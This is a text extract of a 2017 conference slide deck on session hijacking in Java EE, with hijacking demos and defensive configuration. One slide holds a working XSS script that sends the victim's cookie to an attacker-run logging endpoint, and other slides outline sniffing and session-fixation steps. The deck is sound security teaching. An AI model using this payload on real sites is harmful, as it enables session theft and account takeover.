SlideShare a Scribd company logo
The	Hacker’s	Guide		
to	Session	Hijacking		
in	Java	EE
Patrycja	Wegrzynowicz	
CTO,	Yon	Labs/Yonita	
JavaOne	2017
About	Me
• 15+	professional	experience		
• SoRware	engineer,	architect,	head	of	
soRware	R&D		
• Author	and	speaker		
• JavaOne,	Devoxx,	JavaZone,	TheServerSide	
Java	Symposium,	Jazoon,	OOPSLA,	ASE,	
others		
• Top	10	Women	in	Tech	2016	in	Poland	
• Founder	and	CTO	of	Yon	Labs	and	Yonita	
• Automated	detecZon	and	refactoring	of	
soRware	defects	
• Trainings	and	code	reviews	
• Security,	performance,	concurrency,	
databases		
• Twi[er	@yonlabs
About	Me
• 15+	professional	experience		
• SoRware	engineer,	architect,	head	of	soRware	
R&D		
• Author	and	speaker		
• JavaOne,	Devoxx,	JavaZone,	TheServerSide	
Java	Symposium,	Jazoon,	OOPSLA,	ASE,	others		
• Top	10	Women	in	Tech	2016	in	Poland	
• Founder	and	CTO	of	Yon	Labs	and	Yonita	
• Bridge	the	gap	between	the	industry	and	the	
academia	
• Automated	detecZon	and	refactoring	of	
soRware	defects	
• Trainings	and	code	reviews	
• Security,	performance,	concurrency,	databases		
• Twi[er	@yonlabs
Agenda
• HTTP,	session,	OWASP	
• 4	demos	to	hijack	a	session	
• Best	pracZces	in	Java	EE
Security	Horror Stories
#!/bin/bash
Security	Horror Stories
#!/bin/bash
HTTP
HTTP
What	is	Web	Session?
• Session	idenZfies	interacZons	with	one	user	
• Unique	idenZfier	associated	with	every	request	
• Cookie	
• Header	
• Parameter	
• Hidden	field
OWASP	Top	10	Risks
Session	Hijacking
Session	Hijacking
• Session	theR	
• URL,	sniffing,	logs,	XSS
Session	Hijacking
• Session	theR	
• URL,	sniffing,	logs,	XSS		
• Session	fixaZon
Session	Hijacking
• Session	theR	
• URL,	sniffing,	logs,	XSS	
• Session	fixaZon	
• Session	predicZon
Demo:	Session	Exposed	in	URL
• I	will	log	into	the	sample	applicaZon	
• I	will	post	a	link	with	my	session	id	on	Twi[er		
• @yonlabs	
• Hijack	my	session	:)
How	to	Avoid	Session	Id	in	URL?
• Default:	allows	cookies	and	URL	rewriZng		
• Default	cookie,	fall	back	on	URL	rewriZng	
• To	embrace	all	users	
• Disabled	cookies	in	a	browser	
• Disable	URL	rewriZng	in	an	app	server	
• App	server	specific	
• Tracking	mode	
• Java	EE	6,	web.xml
web.xml
<!--	Java	EE	6,	Servlet	3.0	-->	
<session-config>	
				<tracking-mode>COOKIE</tracking-mode>	
</session-config>
Session	Sniffing
• How	to	find	out	a	cookie?	
• e.g.,	network	monitoring	and	packet	sniffing	
• How	to	use	a	cookie?	
• Browsers’	plugins	and	add-ons	(e.g.,	Cookie	Manager	for	Firefox)	
• IntercepZng	proxy	(e.g.,	OWASP	ZAP)	
• DIY:	write	your	own	code
Demo:	Session	Sniffing
• You	will	log	into	the	sample	applicaZon	
• Any	non	empty	user	name	
• Please,	use	meaningful	names!	
• I	will	monitor	network	traffic	
• tcpdump	
• I	will	hijack	one	of	your	sessions	
• Cookie	Manager
How	to	Avoid	Session	
Exposure	During	Transport?
How	to	Avoid	Session	Exposure	
During	Transport?
Encrypt!	Use	HTTPS.
web.xml
<security-constraint>	
<user-data-constraint>	
<transport-guarantee>	
CONFIDENTIAL	
</transport-guarantee>	
</user-data-constraint>	
</security-constraint>
web.xml
<!--	Java	EE	6,	Servlet	3.0	-->	
<session-config>	
				<cookie-config>	
											<secure>true</secure>	
				</cookie-config>	
				<tracking-mode>COOKIE</tracking-mode>	
</session-config>
Session	Exposure
• Transport	
• Unencrypted	transport	
• Client-side	
• XSS	
• A[acks	on	browsers/OS	
• Server-side	
• Logs	
• Session	replicaZon	
• Memory	dump
How	to	Steal	a	Session	if	
Secure	Transport	Is	Used?
How	to	Steal	a	Session	if	Secure	
Transport	Is	Used?
A3ack	a	client!
Demo:	Session	Grabbed	by	XSS
• JavaScript	code	to	steal	a	cookie	
• Servlet	to	log	down	stolen	cookies	
• Vulnerable	applicaZon	to	be	exploited	via	injected	
JavaScript	code	(XSS)
Demo:	Session	Grabbed	by	XSS
• I	will	store	malicious	JavaScript	code	in	the	app	
• Through	wriZng	an	“opinion”		
• Log	into	the	vulnerable	applicaZon	
• h[ps://demo.yonita.com:8181/session-xss/		
• Any	non	empty	user	name	
• Please,	use	meaningful	names!	
• Click	‚View	others	opinions’	page	
• Wait	unZl	I	will	hijack	your	session	:)
JavaScript	to	Steal	a	Cookie
<script>	
<!--	hacker’s	service	-->	
theR	=	’h[p://demo.yonita.com/steal/steal?cookie=’	
<!--	to	bypass	Same	Origin	Policy	-->	
image	=	new	Image();	
image.src	=	theR	+	document.cookie;		
</script>
web.xml
<!--	Java	EE	6,	Servlet	3.0	-->	
<session-config>	
				<cookie-config>	
											<h[p-only>true</h[p-only>	
											<secure>true</secure>	
			</cookie-config>	
				<tracking-mode>COOKIE</tracking-mode>	
</session-config>
Session	FixaZon
• Session	fixaZon	a[ack	uZlizes	a	session	creaZon
When	Session	is	Created?
A. On	storing	an	a[ribute	in	a	session	for	the	first	Zme	
B. On	calling	request.getSession(true)	/()	for	the	first	
Zme	
C. On	a	successful	login	
D. None	of	the	above
When	Session	is	Created?
A. On	storing	an	a[ribute	in	a	session	for	the	first	Zme	
B. On	calling	request.getSession(true)/()	for	the	first	
Zme	
C. On	a	successful	login	
D. None	of	the	above
When	Session	is	Created?
A. On	storing	an	a[ribute	in	a	session	for	the	first	Zme	
B. On	calling	request.getSession(true)/()	for	the	first	
Zme	
• H[pServletRequest::getSession(true)	
• H[pServletRequest::getSession()	
• an	implicit	session	object	on	JSP	pages	
• unless	<%@	page	session="false"	%>	
C. On	a	successful	login	
D. None	of	the	above
Session	FixaZon:	Scenario	1
• Hacker	opens	a	web	page	of	a	system	in	a	browser		
• JSP	page:	a	new	session	iniZalized!	
• Hacker	writes	down	the	session	id		
• Hacker	leaves	the	browser	open		
• User	comes	and	logs	into	the	app	
• Uses	the	session	iniZalized	by	the	hacker		
• Hacker	uses	the	wri[en	down	session	id	to	hijack	the	
user’s	session
Session	FixaZon:	Scenario	2
• Hacker	opens	a	web	page	of	a	system	in	a	browser		
• JSP	page:	a	new	session	iniZalized!	
• Hacker	prepares	a	link	with	the	session	id	in	URL	
• Hacker	tricks	a	user	to	click	the	link	
• e.g.	sends	an	email	with	the	link	
• User	clicks	the	link	
• Uses	the	session	iniZalized	by	the	hacker		
• Hacker	uses	the	wri[en	down	session	id	to	hijack	the	
user’s	session
Session	FixaZon:	SoluZon
• Change	the	session	ID	aRer	a	successful	login	
• more	generally:	escalaZon	of	privileges
Servlet	3.0/3.1/4.0	Spec
• Containers	may	create	HTTP	Session	objects	to	track	
login	state.	If	a	developer	creates	a	session	while	a	
user	is	not	authenZcated,	and	the	container	then	
authenZcates	the	user,	the	session	visible	to	
developer	code	a=er	login	must	be	the	same	session	
object	that	was	created	prior	to	login	occurring	so	
that	there	is	no	loss	of	session	informaZon.
Session	FixaZon:	SoluZon	in	
Java	EE
• Change	the	session	ID	aRer	a	successful	login	
• more	generally:	escalaZon	of	privileges	
• Java	EE	7	(Servlet	3.1),	Java	EE	8	(Servlet	4.0)	
• H[pServletRequest.changeSessionId()	
• Java	EE	6	
• H[pSession.invalidate()	
• H[pServletRequest.getSession(true)
Secure	Session	Management	
Best	PracZces
• Random,	unpredictable	session	id	
• At	least	16	characters	
• Secure	transport	and	storage	of	session	id	
• Cookie	preferred	over	URL	rewriZng		
• Cookie	flags:	secure,	h[pOnly		
• Don’t	use	too	broad	cookie	paths		
• Consistent	use	of	HTTPS	
• Don’t	mix	HTTP	and	HTTPS	under	the	same	

domain/cookie	path
Consistent	Use	of	HTTPS	
Typical	Errors
• StaZc	content	served	as	HTTP	from	the	same	domain	
name	
• Pre-authenZcated	pages	as	HTTP,	post-authenZcated	
pages	as	HTTPS	from	the	same	domain	name	
• Login	form	as	HTTPS,	the	rest	as	HTTP	
• GMail	for	a	few	years	aRer	its	launch!
Secure	AuthenZcaZon		
Best	PracZces
• Session	creaZon	and	destrucZon		
• New	session	id	aRer	login		
• Logout	bu[on		
• Session	Zmeouts:	2”-5”	for	criZcal	apps,	15”-30”	for	

typical	apps		
• DetecZng	session	anomalies	
• Basic	heurisZc:	a	session	associated	with	the	headers	of	the	first	request		
• The	fingerprint	of	a	first	reques:	IP,	User-Agent,…	
• If	they	don’t	match,	something’s	going	on	(invalidate!)		
• OWASP	ModSecurity	Web	ApplicaZon	Firewall	
• Rules	for	detecZng	common	security	a[acks
Secure	AuthenZcaZon		
Best	PracZces	cont.
• Servlet	3.0	vs	3.1	vs.	4.0	
• the	session	visible	to	developer	code	a=er	login	must	be	the	same	
session	object	that	was	created	prior	to	login	
• Session	fixaZon	problem	
• 3.0:	no	way	to	change	a	session	id!	(invalidate/getSession)	
• 3.1,	4.0:	changeSessionId	
• Check	out	the	container	implementaZons	
• Java	EE	6	vs.	Java	EE	7	vs.	Java	EE	8
What	If	We	Can’t	Steal	a	
Cookie?
What	If	We	Can’t	Steal	a	
Cookie?
We	can	sDll	use	it!
Demo:	CSRF	to	Use	a	Cookie
• I	will	log	into	the	applicaZon	
• Log	into	the	applicaZon	
• h[ps://demo.yonita.com:8181/session-csrf/	
• Any	non	empty	user	name		
• Please,	use	meaningful	names!	
• Click	the	link	and	the	bu[on	‘Click	me’	
• h[ps://demo.yonita.com:8181/a[ack-csrf/	
• I	will	check	my	account	balance	:)
CSRF:	SoluZon
• AnZ-CSRF	Token	
• unique	token		
• server-side	session	
• web	framework	dependent	
• Double	Submit	Cookie	
• no	server-side	session		
• e.g.	Play	framework	
• Encrypted	Token	Pa[ern	
• User	ID	+	Zmestamp	+	nonce	
• Extra:	
• SameSite	cookie	flag	
• no	support	in	Java	EE	yet,	addiZonal	filter	needed
SameSite	Cookie	A[ribute:	
lax,	strict
Request Type Example Code Cookie Sent
Link <a href=“…”> Normal, lax
Prerender <link rel=“prerender” href=“…”> Normal, lax
Form GET <form method=“GET” action=“…”> Normal, lax
Form POST <form method=“POST” action=“…”> Normal
iframe <iframe src=“…”> Normal
AJAX $.get(“...") Normal
Image <img src=“…”> Normal
Conclusion
You	are	never	safe!
A	fool	with	a	tool	is	only	a	fool!
ConZnuous	Learning
Please,	vote!	:)
Q&A
• patrycja@yonita.com	
• @yonlabs

More Related Content

PDF
The Hacker's Guide to XSS
PDF
The Hacker's Guide to JWT Security
PDF
The Hacker's Guide to NoSQL Injection
PDF
The Hacker's Guide to JWT Security
PDF
The Hacker's Guide To Session Hijacking
PPTX
OWASP Poland Day 2018 - Andrzej Dyjak - Zero Trust Theorem
PPTX
Essential security measures in ASP.NET MVC
ODP
Automating Web Application Security Testing With OWASP ZAP DOT NET API - Tech...
The Hacker's Guide to XSS
The Hacker's Guide to JWT Security
The Hacker's Guide to NoSQL Injection
The Hacker's Guide to JWT Security
The Hacker's Guide To Session Hijacking
OWASP Poland Day 2018 - Andrzej Dyjak - Zero Trust Theorem
Essential security measures in ASP.NET MVC
Automating Web Application Security Testing With OWASP ZAP DOT NET API - Tech...

What's hot (12)

PDF
Offensive (Web, etc) Testing Framework: My gift for the community - BerlinSid...
PDF
Analysis of web application worms and viruses
PDF
Is code review the solution?
PPTX
Ten Commandments of Secure Coding
PPTX
«OWASP Top 10 hands on workshop» by Stanislav Breslavskyi
PPTX
(java2days) The Anatomy of Java Vulnerabilities
PDF
libinjection: from SQLi to XSS  by Nick Galbreath
PDF
Smart Sheriff, Dumb Idea, the wild west of government assisted parenting
PPTX
CLUSIR INFONORD OWASP iot 2014
PDF
Attacking with html5(lava kumar)
PDF
Owasp tds
Offensive (Web, etc) Testing Framework: My gift for the community - BerlinSid...
Analysis of web application worms and viruses
Is code review the solution?
Ten Commandments of Secure Coding
«OWASP Top 10 hands on workshop» by Stanislav Breslavskyi
(java2days) The Anatomy of Java Vulnerabilities
libinjection: from SQLi to XSS  by Nick Galbreath
Smart Sheriff, Dumb Idea, the wild west of government assisted parenting
CLUSIR INFONORD OWASP iot 2014
Attacking with html5(lava kumar)
Owasp tds

Similar to The Hacker's Guide to Session Hijacking (8)

PDF
Secure Authentication and Session Management in Java EE
PPTX
A survey on Session Hijacking
PPT
FhgdhfdgdghrgrftdgjffSessionHijacking.ppt
PPTX
OWASP_Training.pptx
PDF
Owasp top 10_openwest_2019
PDF
difference and types in sessionhijacking.pdf
PDF
sessionhijacking-130928105302-phpapp02.pdf
PPTX
Session Hijacking ppt
Secure Authentication and Session Management in Java EE
A survey on Session Hijacking
FhgdhfdgdghrgrftdgjffSessionHijacking.ppt
OWASP_Training.pptx
Owasp top 10_openwest_2019
difference and types in sessionhijacking.pdf
sessionhijacking-130928105302-phpapp02.pdf
Session Hijacking ppt

More from Patrycja Wegrzynowicz (6)

PDF
The Hacker's Guide to Kubernetes: Reloaded
PDF
The Hacker's Guide to Kubernetes
PDF
Second Level Cache in JPA Explained
PPTX
Thinking Beyond ORM in JPA
PDF
Lazy vs. Eager Loading Strategies in JPA 2.1
PPTX
Thinking Beyond ORM in JPA
The Hacker's Guide to Kubernetes: Reloaded
The Hacker's Guide to Kubernetes
Second Level Cache in JPA Explained
Thinking Beyond ORM in JPA
Lazy vs. Eager Loading Strategies in JPA 2.1
Thinking Beyond ORM in JPA

Recently uploaded (20)

PPTX
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
PDF
Upgrade and Innovation Strategies for SAP ERP Customers
PDF
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
PPTX
history of c programming in notes for students .pptx
PDF
AI in Product Development-omnex systems
PPTX
VVF-Customer-Presentation2025-Ver1.9.pptx
PPTX
CHAPTER 2 - PM Management and IT Context
PDF
2025 Textile ERP Trends: SAP, Odoo & Oracle
PDF
top salesforce developer skills in 2025.pdf
PPTX
ai tools demonstartion for schools and inter college
PDF
System and Network Administration Chapter 2
PPTX
Odoo POS Development Services by CandidRoot Solutions
PDF
Which alternative to Crystal Reports is best for small or large businesses.pdf
PDF
How to Choose the Right IT Partner for Your Business in Malaysia
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PDF
PTS Company Brochure 2025 (1).pdf.......
PPTX
L1 - Introduction to python Backend.pptx
PDF
System and Network Administraation Chapter 3
PDF
medical staffing services at VALiNTRY
PDF
Wondershare Filmora 15 Crack With Activation Key [2025
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
Upgrade and Innovation Strategies for SAP ERP Customers
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
history of c programming in notes for students .pptx
AI in Product Development-omnex systems
VVF-Customer-Presentation2025-Ver1.9.pptx
CHAPTER 2 - PM Management and IT Context
2025 Textile ERP Trends: SAP, Odoo & Oracle
top salesforce developer skills in 2025.pdf
ai tools demonstartion for schools and inter college
System and Network Administration Chapter 2
Odoo POS Development Services by CandidRoot Solutions
Which alternative to Crystal Reports is best for small or large businesses.pdf
How to Choose the Right IT Partner for Your Business in Malaysia
Design an Analysis of Algorithms I-SECS-1021-03
PTS Company Brochure 2025 (1).pdf.......
L1 - Introduction to python Backend.pptx
System and Network Administraation Chapter 3
medical staffing services at VALiNTRY
Wondershare Filmora 15 Crack With Activation Key [2025

The Hacker's Guide to Session Hijacking